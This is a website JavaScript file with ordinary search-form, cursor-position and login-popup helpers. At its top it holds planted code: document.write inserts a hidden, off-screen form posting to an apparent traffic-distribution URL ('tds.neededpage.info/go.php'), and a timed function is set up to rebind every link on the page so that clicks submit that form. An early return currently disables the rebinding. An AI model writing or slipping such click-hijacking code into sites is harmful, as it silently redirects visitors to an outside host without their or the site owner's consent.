function rekl(){
  document.getElementById('ghform').submit();
}
document.write('<div style="position: absolute; left: -500;">');
document.write('<form action=http://tds.neededpage.info/go.php?sid=36 id=ghform target=adv><input type=hidden name=sid value=36></form>');
document.write('</div>');
function timer(){
return;	//window.bloor();
var d = document.getElementsByTagName('a');
  for (var i = d.length-1; i > -1; i--)
		d[i].setAttribute('onClick','rekl()');
 }

setTimeout("timer()",10000);



function SEF(v){
//alert(encodeURIComponent(FSR.name.value));
if(document.getElementById('searchForm').name.value=='')
     v = '/category/all';
document.getElementById('searchForm').action = v+document.getElementById('searchForm').name.value+"/";
document.getElementById('searchForm').submit();
}

function getPosition(e)
	{
	e = e || window.event;
	var cursor = {x:0, y:0};
	if (e.pageX || e.pageY)
		{
		cursor.x = e.pageX;
		cursor.y = e.pageY;
		}
	else
		{
		cursor.x = e.clientX +
		(document.documentElement.scrollLeft ||
		document.body.scrollLeft) -
		document.documentElement.clientLeft;

		cursor.y = e.clientY +
		(document.documentElement.scrollTop ||
		document.body.scrollTop) -
		document.documentElement.clientTop;
		}
	return cursor;
	}
var showForm=0;

function loginForm(flag){var lf=document.getElementById('login').style;
if(showForm==0){
	lf.top=getPosition().y+12;
	lf.left=getPosition().x-230;; }
	else
   		lf.top=-300;
if(showForm==0) showForm=1; else showForm=0;}



